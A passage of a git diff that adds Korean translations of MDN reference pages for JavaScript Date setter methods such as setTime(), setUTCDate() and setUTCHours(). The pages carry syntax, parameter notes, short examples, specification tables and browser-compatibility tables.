+<p>msValue 매개 변수를 지정하지 않으면 {{jsxref("Date.prototype.getMilliseconds()", "getMilliseconds()")}} 메서드에서 반환 된 값이 사용됩니다.</p>
+
+<p>지정한 매개 변수가 예상 범위를 벗어나면 setSeconds ()는 {{jsxref("Date")}} 객체의 날짜 정보를 그에 따라 업데이트하려고 시도합니다. 예를 들어, secondsValue에 100을 사용하면 {{jsxref("Date")}} 객체에 저장된 분이 1 씩 증가하고 40 초 동안 사용됩니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_setSeconds()">Using <code>setSeconds()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setSeconds(30);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.30', 'Date.prototype.setSeconds')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setseconds', 'Date.prototype.setSeconds')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.setseconds', 'Date.prototype.setSeconds')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getSeconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCSeconds()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/settime/index.html b/files/ko/web/javascript/reference/global_objects/date/settime/index.html
new file mode 100644
index 0000000000..e47d43720a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/settime/index.html
@@ -0,0 +1,127 @@
+---
+title: Date.prototype.setTime()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setTime
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setTime
+---
+<div>{{JSRef}}</div>
+
+<p>setTime () 메서드는 {{jsxref ( "Date")}} 객체를 1970 년 1 월 1 일 00:00:00 UTC부터 밀리 초 단위로 나타내는 시간으로 설정합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setTime(<var>timeValue</var>)</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>timeValue</code></dt>
+ <dd>1970 년 1 월 1 일 00:00:00 UTC 이후의 밀리 초 수를 나타내는 정수입니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>1970 년 1 월 1 일 00:00:00 UTC와 업데이트 된 날짜 (사실상 인수의 값) 사이의 밀리 초 수입니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>setTime () 메서드를 사용하면 다른 {{jsxref ( "Date")}} 객체에 날짜와 시간을 지정할 수 있습니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_setTime()">Using <code>setTime()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date('July 1, 1999');
+var sameAsBigDay = new Date();
+sameAsBigDay.setTime(theBigDay.getTime());
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.27', 'Date.prototype.setTime')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.settime', 'Date.prototype.setTime')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.settime', 'Date.prototype.setTime')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getTime()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCHours()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/setutcdate/index.html b/files/ko/web/javascript/reference/global_objects/date/setutcdate/index.html
new file mode 100644
index 0000000000..28c1ef3835
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/setutcdate/index.html
@@ -0,0 +1,126 @@
+---
+title: Date.prototype.setUTCDate()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setUTCDate
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCDate
+---
+<div>{{JSRef}}</div>
+
+<p><strong>setUTCDate()</strong> 메서드는 표준시에 따라 지정된 날짜의 날짜를 설정합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setUTCDate(<var>dayValue</var>)</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>dayValue</code></dt>
+ <dd>한 달의 날짜를 나타내는 1에서 31 사이의 정수입니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>1970 년 1 월 1 일 00:00:00 UTC와 업데이트 된 날짜 사이의 밀리 초 숫자입니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>지정한 매개 변수가 예상 범위를 벗어난 경우 setUTCDate ()는 그에 따라 {{jsxref ( "Date")}} 객체의 날짜 정보를 업데이트하려고 시도합니다. 예를 들어, dayValue에 40을 사용하고 {{jsxref ( "Date")}} 객체에 저장된 달이 6 월이면 일이 10으로 변경되고 월이 7 월로 증가합니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_setUTCDate()">Using <code>setUTCDate()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setUTCDate(20);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.37', 'Date.prototype.setUTCDate')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setutcdate', 'Date.prototype.setUTCDate')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.setutcdate', 'Date.prototype.setUTCDate')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCDate()")}}</li>
+ <li>{{jsxref("Date.prototype.setDate()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/setutcfullyear/index.html b/files/ko/web/javascript/reference/global_objects/date/setutcfullyear/index.html
new file mode 100644
index 0000000000..8410c68faa
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/setutcfullyear/index.html
@@ -0,0 +1,132 @@
+---
+title: Date.prototype.setUTCFullYear()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setUTCFullYear
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCFullYear
+---
+<div>{{JSRef}}</div>
+
+<p><strong>setUTCFullYear()</strong> 메서드는 지정된 날짜의 전체 연도를 표준시에 따라 설정합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setUTCFullYear(<var>yearValue</var>[, <var>monthValue</var>[, <var>dayValue</var>]])</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>yearValue</code></dt>
+ <dd>연도의 숫자 값을 지정하는 정수입니다 (예 : 1995).</dd>
+ <dt><code>monthValue</code></dt>
+ <dd>선택 과목. 1 월에서 12 월까지의 월을 나타내는 0에서 11 사이의 정수입니다.</dd>
+ <dt><code>dayValue</code></dt>
+ <dd>선택 과목. 한 달의 날짜를 나타내는 1 - 31 사이의 정수입니다. dayValue 매개 변수를 지정하는 경우 monthValue도 지정해야합니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>1970 년 1 월 1 일 00:00:00 UTC와 업데이트 된 날짜 사이의 밀리 초 숫자입니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>monthValue 및 dayValue 매개 변수를 지정하지 않으면 {{jsxref ( "Date.prototype.getUTCMonth ()", "getUTCMonth()")}} 및 {{jsxref("Date.prototype.getUTCDate)","getUTCDate()")}} 메소드가 사용됩니다.</p>
+
+<p>지정한 매개 변수가 예상 범위를 벗어난 경우 setUTCFullYear ()는 다른 매개 변수와 {{jsxref("Date")}} 객체의 날짜 정보를 그에 따라 업데이트하려고 시도합니다. 예를 들어, monthValue에 15를 지정하면 연도가 1 (yearValue + 1)만큼 증가하고 3은 해당 월에 사용됩니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_setUTCFullYear()">Using <code>setUTCFullYear()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setUTCFullYear(1997);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.41', 'Date.prototype.setUTCFullYear')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setutcfullyear', 'Date.prototype.setUTCFullYear')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.setutcfullyear', 'Date.prototype.setUTCFullYear')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setFullYear()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/setutchours/index.html b/files/ko/web/javascript/reference/global_objects/date/setutchours/index.html
new file mode 100644
index 0000000000..dae2e10373
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/setutchours/index.html
@@ -0,0 +1,134 @@
+---
+title: Date.prototype.setUTCHours()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setUTCHours
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCHours
+---
+<div>{{JSRef}}</div>
+
+<p>setUTCHours () 메서드는 표준시에 따라 지정된 날짜의 시간을 설정하고 1970 년 1 월 1 일 00:00:00 UTC 이후 업데이트 된 {{jsxref ( "Date")}}에 의해 표시되는 시간 (밀리 초)을 반환합니다. 예.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setUTCHours(<var>hoursValue</var>[, <var>minutesValue</var>[, <var>secondsValue</var>[, <var>msValue</var>]]])</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>hoursValue</code></dt>
+ <dd>시를 나타내는 0에서 23 사이의 정수입니다.</dd>
+ <dt><code>minutesValue</code></dt>
+ <dd>선택 과목. 분을 나타내는 0에서 59 사이의 정수입니다.</dd>
+ <dt><code>secondsValue</code></dt>
+ <dd>선택 과목. 초를 나타내는 0에서 59 사이의 정수입니다. secondsValue 매개 변수를 지정하면 minutesValue도 지정해야합니다.</dd>
+ <dt><code>msValue</code></dt>
+ <dd>선택 과목. 밀리 초를 나타내는 0에서 999 사이의 숫자입니다. msValue 매개 변수를 지정하는 경우 minutesValue 및 secondsValue도 지정해야합니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>1970 년 1 월 1 일 00:00:00 UTC와 업데이트 된 날짜 사이의 밀리 초 숫자입니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>minutesValue, secondsValue 및 msValue 매개 변수를 지정하지 않으면 {{jsxref ( "Date.prototype.getUTCMinutes()", "getUTCMinutes()")}}, {{jsxref("Date.prototype .getUTCSeconds() ","getUTCSeconds()")}} 및 {{jsxref("Date.prototype.getUTCMilliseconds() ","getUTCMilliseconds()")}} 메소드가 사용됩니다.</p>
+
+<p>지정한 매개 변수가 예상 범위를 벗어나면 setUTCHours ()는 그에 따라 {{jsxref("Date")}} 객체의 날짜 정보를 업데이트하려고 시도합니다. 예를 들어 secondsValue에 100을 사용하면 분은 1 (minutesValue + 1)만큼 증가하고 40은 초 단위로 사용됩니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_setUTCHours()">Using <code>setUTCHours()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setUTCHours(8);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.35', 'Date.prototype.setUTCHours')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setutchours', 'Date.prototype.setUTCHours')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.setutchours', 'Date.prototype.setUTCHours')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCHours()")}}</li>
+ <li>{{jsxref("Date.prototype.setHours()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/setutcmilliseconds/index.html b/files/ko/web/javascript/reference/global_objects/date/setutcmilliseconds/index.html
new file mode 100644
index 0000000000..8f93cc7875
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/setutcmilliseconds/index.html
@@ -0,0 +1,126 @@
+---
+title: Date.prototype.setUTCMilliseconds()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setUTCMilliseconds
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCMilliseconds
+---
+<div>{{JSRef}}</div>
+
+<p><strong>setUTCMilliseconds()</strong> 메서드는 표준시에 따라 지정된 날짜의 밀리 초를 설정합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setUTCMilliseconds(<var>millisecondsValue</var>)</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>millisecondsValue</code></dt>
+ <dd>밀리 초를 나타내는 0에서 999 사이의 숫자입니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>1970 년 1 월 1 일 00:00:00 UTC와 업데이트 된 날짜 사이의 밀리 초 숫자입니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>지정한 매개 변수가 예상 범위를 벗어난 경우 setUTCMilliseconds ()는 그에 따라 {{jsxref ( "Date")}} 객체의 날짜 정보를 업데이트하려고 시도합니다. 예를 들어 millisecondsValue에 1100을 사용하면 {{jsxref ( "Date")}} 객체에 저장된 초가 1 씩 증가하고 100은 밀리 초 단위로 사용됩니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_setUTCMilliseconds()">Using <code>setUTCMilliseconds()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setUTCMilliseconds(500);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.29', 'Date.prototype.setUTCMilliseconds')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setutcmilliseconds', 'Date.prototype.setUTCMilliseconds')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.setutcmilliseconds', 'Date.prototype.setUTCMilliseconds')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCMilliseconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setMilliseconds()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/setutcminutes/index.html b/files/ko/web/javascript/reference/global_objects/date/setutcminutes/index.html
new file mode 100644
index 0000000000..c39b343935
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/setutcminutes/index.html
@@ -0,0 +1,132 @@
+---
+title: Date.prototype.setUTCMinutes()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setUTCMinutes
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCMinutes
+---
+<div>{{JSRef}}</div>
+
+<p><strong>setUTCMinutes()</strong> 메서드는 표준시에 따라 지정된 날짜의 분을 설정합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setUTCMinutes(<var>minutesValue</var>[, <var>secondsValue</var>[, <var>msValue</var>]])</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>minutesValue</code></dt>
+ <dd>분을 나타내는 0에서 59 사이의 정수입니다.</dd>
+ <dt><code>secondsValue</code></dt>
+ <dd>선택 과목. 초를 나타내는 0에서 59 사이의 정수입니다. secondsValue 매개 변수를 지정하면 minutesValue도 지정해야합니다.</dd>
+ <dt><code>msValue</code></dt>
+ <dd>선택 과목. 밀리 초를 나타내는 0에서 999 사이의 숫자입니다. msValue 매개 변수를 지정하는 경우 minutesValue 및 secondsValue도 지정해야합니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>1970 년 1 월 1 일 00:00:00 UTC와 업데이트 된 날짜 사이의 밀리 초 숫자입니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>secondsValue 및 msValue 매개 변수를 지정하지 않으면 {{jsxref ( "Date.prototype.getUTCSeconds()", "getUTCSeconds()")}} 및 {{jsxref ("Date.prototype.getUTCMilliseconds","getUTCMilliseconds()")}} 메소드가 사용됩니다.</p>
+
+<p>지정한 매개 변수가 예상 범위를 벗어나면 setUTCMinutes ()는 그에 따라 {{jsxref("Date")}} 객체의 날짜 정보를 업데이트하려고 시도합니다. 예를 들어 secondsValue에 100을 사용하면 분은 1 (minutesValue + 1)만큼 증가하고 40은 초 단위로 사용됩니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_setUTCMinutes()">Using <code>setUTCMinutes()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setUTCMinutes(43);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.33', 'Date.prototype.setUTCMinutes')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setutcminutes', 'Date.prototype.setUTCMinutes')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
